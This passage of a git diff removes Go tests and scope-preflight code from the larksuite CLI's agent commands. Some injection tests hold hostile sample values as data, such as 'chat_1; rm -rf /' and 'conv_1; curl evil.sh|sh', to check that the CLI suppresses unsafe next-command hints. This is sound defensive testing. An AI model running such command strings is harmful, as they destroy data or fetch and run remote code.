-		t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
-	}
-	first, _ := agents[0].(map[string]interface{})
-	if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
-		t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
-// instance provider that wires the optional ListAgents hook enumerates via it,
-// and the hook receives an identity-pinned runtime (not nil).
-func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
-	var gotRT iagent.Runtime
-	spec := catSpec("", "", "")
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakelive",
-		Label:         "test fake (instance live-enum)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		Instance:      &spec,
-		ListAgents: func(_ context.Context, rt iagent.Runtime) ([]iagent.AgentSummary, error) {
-			gotRT = rt
-			return []iagent.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, nil
-		},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.Flags().String("as", "", "identity")
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakelive should not error: %v", err)
-	}
-	if gotRT == nil {
-		t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
-		t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
-	}
-}
-
-// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
-// path now runs the same all-or-nothing scope preflight every other online verb
-// runs. An instance provider with RequiredScopes, driven by a user whose token
-// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
-func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
-	called := false
-	spec := catSpec("", "", "")
-	iagent.Register(iagent.Provider{
-		Scheme:         "fakescopelive",
-		Label:          "test fake (scoped live-enum)",
-		AgentIDSource:  "test only",
-		RequiredScopes: []string{"live:read"},
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-		Instance:       &spec,
-		ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
-			called = true
-			return nil, nil
-		},
-	})
-	// The stored user token holds an unrelated scope (non-empty so the preflight
-	// actually runs) but not the required one.
-	swapStoredScopes(t, []string{"unrelated:scope"})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user"}
-
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("listing as a user missing the required scope should fail with missing_scope")
-	}
-	if code := output.ExitCodeOf(err); code != 3 {
-		t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeMissingScope {
-		t.Fatalf("subtype should be missing_scope, got %+v", p)
-	}
-	if called {
-		t.Error("ListAgents must NOT be called when the scope preflight fails")
-	}
-}
-
-// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
-// enforces the user|bot identity whitelist. An explicitly unsupported --as is
-// rejected as a validation error before the online ListAgents call.
-func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
-	called := false
-	spec := catSpec("", "", "")
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakelivewl",
-		Label:         "test fake (identity-whitelist live-enum)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-		Instance:      &spec,
-		ListAgents: func(context.Context, iagent.Runtime) ([]iagent.AgentSummary, error) {
-			called = true
-			return nil, nil
-		},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin"}
-
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("an unsupported identity should be rejected before the online call")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
-	}
-	if called {
-		t.Error("ListAgents must NOT be called when the identity whitelist fails")
-	}
-}
-
-// TestAgentListScheme_PrettyStripsANSI pins that `agent list <scheme> --format
-// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
-// static catalog entries) before they reach the terminal.
-func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakedirty",
-		Label:         "test fake (dirty names)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-		Catalog:       []iagent.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedirty pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
-		t.Errorf("readable text should remain after stripping, got %q", text)
-	}
-}
-
-// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must be registered on `agent list` and filter the envelope.
-func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"--jq", ".ok"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list --jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "true" {
-		t.Errorf("--jq .ok should output only true, got %q", got)
-	}
-}
-
-// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
-// of --format, the --jq flag presence, and that list takes at most one
-// positional arg (the scheme).
-func TestNewCmdAgentList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentList(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent list should have a --format flag")
-	}
-	if fl.DefValue != "json" {
-		t.Errorf("--format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("jq") == nil {
-		t.Error("agent list should have a --jq flag")
-	}
-	if cmd.Flags().Lookup("as") == nil {
-		t.Error("agent list should register an --as flag (needed to pick the identity for online enumeration)")
-	}
-	if err := cmd.Args(cmd, []string{}); err != nil {
-		t.Errorf("agent list with no args should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example"}); err != nil {
-		t.Errorf("agent list <scheme> should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
-		t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
-	}
-}

cmd/agent/next_contract_test.go

@@ -1,218 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
-// contract test automatically covers any future nextForTask branch keyed on a
-// state instead of relying on hand-picked samples.
-var allTaskStates = []iagent.TaskState{
-	iagent.StateSubmitted,
-	iagent.StateWorking,
-	iagent.StateInputRequired,
-	iagent.StateAuthRequired,
-	iagent.StateCompleted,
-	iagent.StateFailed,
-	iagent.StateCanceled,
-	iagent.StateRejected,
-	iagent.StateUnknown,
-}
-
-// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
-// every next command emitted by nextForTask — across all 9 task states, with
-// and without a context id, template hints included (their <...> placeholders
-// are single space-free tokens, so they parse as ordinary flag values) — must
-// traverse and flag-parse against the real agent command tree. meta.next is
-// defined as "AI executes this verbatim", so a next that references a
-// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
-// at build time instead of by a failing acceptance run.
-func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
-	// GIVEN: the real agent subtree (nil Factory: construction-time only, no
-	// credentials; all meta.next commands live under `lark-cli agent ...`).
-	agentTree := NewCmdAgent(nil)
-
-	for _, state := range allTaskStates {
-		for _, ctxID := range []string{"", "conversation_1"} {
-			task := &iagent.AgentTask{
-				TaskID:     "chat_1",
-				ContextID:  ctxID,
-				State:      state,
-				IsTerminal: state.IsTerminal(),
-			}
-			next := nextForTask("example:agent_x", task)
-			if len(next) == 0 {
-				t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
-			}
-			for _, n := range next {
-				if state == iagent.StateAuthRequired {
-					// auth_required is an agent-side task state whose next step is
-					// the auth (re-authorize) flow, so it legitimately points OUT
-					// of the agent subtree and is not traversable against
-					// agentTree; assert its shape and skip the agent traversal.
-					if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
-						t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
-					}
-					continue
-				}
-				if !strings.HasPrefix(n.Command, "lark-cli agent ") {
-					t.Fatalf("next %q must target the agent subtree", n.Command)
-				}
-				// WHEN: the command string is parsed against the real tree.
-				argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
-				c, flags, err := agentTree.Traverse(argv)
-				// THEN: it traverses to a leaf and its flags all exist.
-				if err != nil {
-					t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
-				}
-				if c == agentTree {
-					t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
-				}
-				if err := c.ParseFlags(flags); err != nil {
-					t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
-				}
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
-// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
-// whole next entry (omit rather than risk injection), in every state —
-// meta.next commands are executed verbatim by AI callers, so shell
-// metacharacters in an interpolated id are command injection.
-func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
-	for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
-		for _, state := range allTaskStates {
-			task := &iagent.AgentTask{TaskID: bad, State: state}
-			if next := nextForTask("example:agent_x", task); len(next) != 0 {
-				t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
-// the user-echoed ref is interpolated into every next command, so a ref that
-// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
-// suppresses the whole hint — a ref with spaces/quotes would make the command
-// un-copy-pasteable at best and an injection surface at worst.
-func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-	for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
-		if next := nextForTask(bad, task); len(next) != 0 {
-			t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
-		}
-	}
-	if next := nextForTask("example:agent_x", task); len(next) == 0 {
-		t.Error("valid ref example:agent_x should keep next")
-	}
-}
-
-// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
-// its degradation semantics: a legit task_id with an injection-shaped
-// context_id (input_required branch interpolates both) keeps the hint but
-// replaces the dirty id with the <context_id> placeholder — Template:true, no
-// untrusted content interpolated.
-func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
-	dirty := "conv_1; curl evil.sh|sh"
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: dirty,
-		State:     iagent.StateInputRequired,
-	}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
-	}
-	if !next[0].Template {
-		t.Errorf("degraded hint must be template=true, got %+v", next[0])
-	}
-	if !strings.Contains(next[0].Command, "<context_id>") {
-		t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
-	}
-	if strings.Contains(next[0].Command, "conv_1") {
-		t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
-	}
-}
-
-// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
-// agent-side task state (the end user must (re)authorize in the agent), NOT a
-// text-continuation like input_required. Its next must point at the auth
-// re-authorize flow (auth login --scope), never reuse the text-continuation
-// send hint.
-func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("auth_required should produce 1 next, got %+v", next)
-	}
-	// Must NOT be the input_required text-continuation hint.
-	if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
-		t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
-	}
-	// Must point at the auth (re-authorize) flow.
-	if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
-		t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
-	}
-	// The concrete scopes come from the card, so the command carries a
-	// placeholder and must be marked template.
-	if !next[0].Template {
-		t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
-	}
-}
-
-// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
-// default: task get has --watch, not --wait, and the poll hint must suggest a
-// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
-// forever on a long task nor self-hammers with unbounded polls.
-func TestNextForTaskWatchNotWait(t *testing.T) {
-	next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
-	if len(next) == 0 {
-		t.Fatal("working task must produce a poll next")
-	}
-	if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
-		t.Fatalf("poll next must use --watch: %+v", next)
-	}
-	wantTimeout := "--timeout " + defaultWatchTimeout.String()
-	if !strings.Contains(next[0].Command, wantTimeout) {
-		t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
-	}
-}
-
-// TestNextForTaskTemplateFlag pins the template marker semantics: the
-// input_required continue hint carries a <你的答复> placeholder, so it must be
-// marked template=true (not directly executable); poll and terminal-detail
-// hints are verbatim-executable and must not carry the marker.
-func TestNextForTaskTemplateFlag(t *testing.T) {
-	// input_required with a known context: placeholder in --text → template.
-	cont := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
-	})
-	if len(cont) != 1 || !cont[0].Template {
-		t.Fatalf("input_required next must be template=true, got %+v", cont)
-	}
-	// input_required without a context id: <context_id> placeholder → template.
-	contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", State: iagent.StateInputRequired,
-	})
-	if len(contNoCtx) != 1 || !contNoCtx[0].Template {
-		t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
-	}
-	// Poll and terminal-detail hints are directly executable → no template flag.
-	for _, task := range []*iagent.AgentTask{
-		{TaskID: "chat_1", State: iagent.StateWorking},
-		{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
-	} {
-		next := nextForTask("example:agent_x", task)
-		if len(next) != 1 || next[0].Template {
-			t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
-		}
-	}
-}

cmd/agent/preflight.go

@@ -1,216 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"sort"
-	"strings"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/appmeta"
-	larkauth "github.com/larksuite/cli/internal/auth"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// This file implements the scope preflight: after the provider is resolved and
-// before the real API call, the session's available scopes are checked against
-// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
-// requires the provider's entire scope set. For USER identity the scope list is
-// read locally from the credential cache (no network); for BOT identity it is
-// the app's published TenantScopes, fetched best-effort (a fetch failure
-// downgrades the check to a no-op, like event's console precheck). A missing
-// scope surfaces as a missing_scope permission error (exit 3) with an
-// identity-appropriate remediation hint instead of a round-trip API 99991679.
-// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
-
-// storedUserScopes is the token-scope read seam: it returns the granted scope
-// list of the stored user token from the LOCAL credential cache (keychain via
-// GetStoredToken — same read path as `auth check`), issuing no network
-// request. nil/empty means "no usable local scope list" and the caller skips
-// preflight. Tests swap it so no unit test touches the real keychain.
-var storedUserScopes = func(f *cmdutil.Factory) []string {
-	if f == nil || f.Config == nil {
-		return nil
-	}
-	config, err := f.Config()
-	if err != nil || config == nil || config.UserOpenId == "" {
-		return nil
-	}
-	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
-	if stored == nil {
-		return nil
-	}
-	return strings.Fields(stored.Scope)
-}
-
-// preflightInput is the pure input of preflightScopes, so the check itself is
-// unit-testable without a Factory, keychain, or provider client.
-type preflightInput struct {
-	Identity    core.Identity
-	TokenScopes []string
-	Provider    iagent.Provider
-}
-
-// preflightScopes runs the local scope check. It returns nil when the check
-// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
-// scope list (the downstream not_configured / need-authorization logic owns
-// that). The check is all-or-nothing: when any scope in the provider's
-// RequiredScopes set is not granted it returns the missing_scope permission
-// error (exit 3, mirroring the event-consume scope preflight) carrying every
-// missing scope, with a re-auth hint listing ONLY the missing scopes.
-//
-// The hint lists just the missing scopes (not a merge with existing grants):
-// the open platform authorizes INCREMENTALLY — re-login with only the missing
-// scopes keeps every previously-granted scope — so re-requesting the existing
-// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
-func preflightScopes(in preflightInput) error {
-	// No usable scope list → skip (user not logged in, or bot has no published
-	// version / the fetch failed); the downstream not_configured / API error owns
-	// that path.
-	if len(in.TokenScopes) == 0 {
-		return nil
-	}
-	// Only user / bot carry a scope-list concept.
-	if in.Identity != core.AsUser && !in.Identity.IsBot() {
-		return nil
-	}
-
-	granted := make(map[string]bool, len(in.TokenScopes))
-	for _, s := range in.TokenScopes {
-		granted[s] = true
-	}
-
-	var missing []string
-	for _, scope := range in.Provider.RequiredScopes {
-		if !granted[scope] {
-			missing = append(missing, scope)
-		}
-	}
-	if len(missing) == 0 {
-		return nil
-	}
-	sort.Strings(missing)
-
-	return errs.NewPermissionError(errs.SubtypeMissingScope,
-		"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
-		WithIdentity(string(in.Identity)).
-		WithMissingScopes(missing...).
-		WithHint("%s", scopeRemediationHint(in.Identity, missing))
-}
-
-// scopeRemediationHint returns an identity-appropriate fix for the missing
-// scopes, mirroring cmd/event's scopeRemediationHint split:
-//   - user: re-login requesting ONLY the missing scopes — the open platform
-//     authorizes incrementally, so previously-granted scopes are preserved (no
-//     merge needed).
-//   - bot: the tenant token's scopes come from the app's published version, so
-//     the fix is to add the scopes to the app in the developer console and
-//     re-publish — not a per-token re-auth. (event additionally offers a
-//     one-click scan-to-enable deep link; that generator lives in cmd/event and
-//     is not duplicated here.)
-func scopeRemediationHint(id core.Identity, missing []string) string {
-	if id.IsBot() {
-		return fmt.Sprintf(
-			"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
-			strings.Join(missing, " "))
-	}
-	// Canonical repo-wide auth login --scope remediation phrasing (see
-	// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
-	// platform authorizes incrementally, so existing grants are preserved.
-	return fmt.Sprintf(
-		"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
-		strings.Join(missing, " "))
-}
-
-// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
-// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
-// — the preflight is an accelerator, never a new failure mode; the paths that
-// validate ref/scheme for real have already run inside resolveSpec.
-func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
-	r, err := iagent.ParseRef(ref)
-	if err != nil {
-		return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
-	}
-	return preflightScopesForScheme(f, id, r.Scheme)
-}
-
-// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
-// the ref-addressed verbs (via preflightScopesForRef) and the online
-// `agent list <scheme>` enumeration, which has no agent_id. It resolves the
-// provider registration for the scheme, reads the stored scopes through the
-// identity-appropriate seam, and runs the same all-or-nothing check against the
-// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
-// unregistered scheme, empty RequiredScopes) yields nil.
-func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
-	if f == nil {
-		return nil
-	}
-	prov, ok := iagent.Info(scheme)
-	if !ok || len(prov.RequiredScopes) == 0 {
-		return nil // no scopes to check (e.g. the example mock declares none)
-	}
-
-	var tokenScopes []string
-	switch {
-	case id == core.AsUser:
-		tokenScopes = storedUserScopes(f) // local keychain read, no network
-	case id.IsBot():
-		tokenScopes = botTenantScopes(f) // best-effort app-version fetch
-	default:
-		return nil
-	}
-	return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
-}
-
-// botTenantScopes is the bot-scope read seam: it fetches the app's
-// currently-published version and returns its TenantScopes (the scopes a tenant
-// token actually carries). Any failure — no client, no published version,
-// network / appmeta error — yields nil so the caller skips the check (weak
-// dependency, mirroring event's console precheck downgrade). Tests swap it so no
-// unit test touches the network.
-var botTenantScopes = func(f *cmdutil.Factory) []string {
-	if f == nil || f.Config == nil {
-		return nil
-	}
-	config, err := f.Config()
-	if err != nil || config == nil || config.AppID == "" {
-		return nil
-	}
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return nil
-	}
-	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
-	defer cancel()
-	appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
-	if err != nil || appVer == nil {
-		return nil
-	}
-	return appVer.TenantScopes
-}
-
-// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
-// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
-// the raw JSON body for appmeta to project; any non-typed transport error is
-// classified so callers only see typed errs.* values (though botTenantScopes
-// treats every error as a no-op anyway).
-type appmetaBotClient struct{ client *client.APIClient }
-
-func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
-	resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
-	if err != nil {
-		if _, ok := errs.ProblemOf(err); ok {
-			return nil, err
-		}
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
-	}
-	return json.RawMessage(resp.RawBody), nil
-}

cmd/agent/preflight_test.go

@@ -1,434 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
-// see scripted_provider_test.go) — the all-or-nothing preflight requires every
-// one of fakescopedAllScopes for any real API verb.
-func scopedInfo(t *testing.T) iagent.Provider {
-	t.Helper()
-	registerScripted()
-	prov, ok := iagent.Info("fakescoped")
-	if !ok {
-		t.Fatal("fakescoped provider should be registered")
-	}
-	return prov
-}
-
-// requirePreflightError asserts err is the missing_scope permission error
-// (exit 3, mirroring the event-consume scope preflight) and returns the typed
-// value for field assertions.
-func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
-	t.Helper()
-	if err == nil {
-		t.Fatal("want missing_scope error, got nil")
-	}
-	var pe *errs.PermissionError
-	if !errors.As(err, &pe) {
-		t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
-	}
-	if pe.Subtype != errs.SubtypeMissingScope {
-		t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
-	}
-	if code := output.ExitCodeOf(err); code != 3 {
-		t.Fatalf("exit code should be 3, got %d", code)
-	}
-	return pe
-}
-
-// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
-// user token holding only some of the provider's scopes fails with EVERY missing
-// scope named (sorted) in both the message and missing_scopes, and a re-auth
-// hint listing ONLY the missing scopes (the open platform authorizes
-// incrementally, so re-login with just the missing keeps existing grants — no
-// merge needed, mirroring cmd/event).
-func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
-		Provider:    scopedInfo(t),
-	})
-	ve := requirePreflightError(t, err)
-
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
-		t.Errorf("message should list all missing scopes, got %q", ve.Message)
-	}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
-	}
-	// Incremental hint: ONLY the missing scopes (not merged with existing grants).
-	wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
-	if !strings.Contains(ve.Hint, wantScopeArg) {
-		t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
-	}
-	// And must NOT re-list an already-granted scope.
-	if strings.Contains(ve.Hint, "im:message") {
-		t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
-	}
-}
-
-// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
-// list (fetch failed / app unpublished → nil), the bot check downgrades to a
-// no-op, so the bus/API handshake owns the error.
-func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsBot,
-		TokenScopes: nil,
-		Provider:    scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
-	}
-}
-
-// TestPreflightBotMissingScopes pins the bot branch: given the app's published
-// TenantScopes, a missing scope is reported with the BOT remediation hint (add
-// in the developer console + re-publish), NOT a user re-login.
-func TestPreflightBotMissingScopes(t *testing.T) {
-	// Tenant token carries 2 of the 4 fakescoped scopes.
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsBot,
-		TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
-		Provider:    scopedInfo(t),
-	})
-	ve := requirePreflightError(t, err)
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
-	}
-	if ve.Identity != string(core.AsBot) {
-		t.Errorf("error identity should be bot, got %q", ve.Identity)
-	}
-	// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
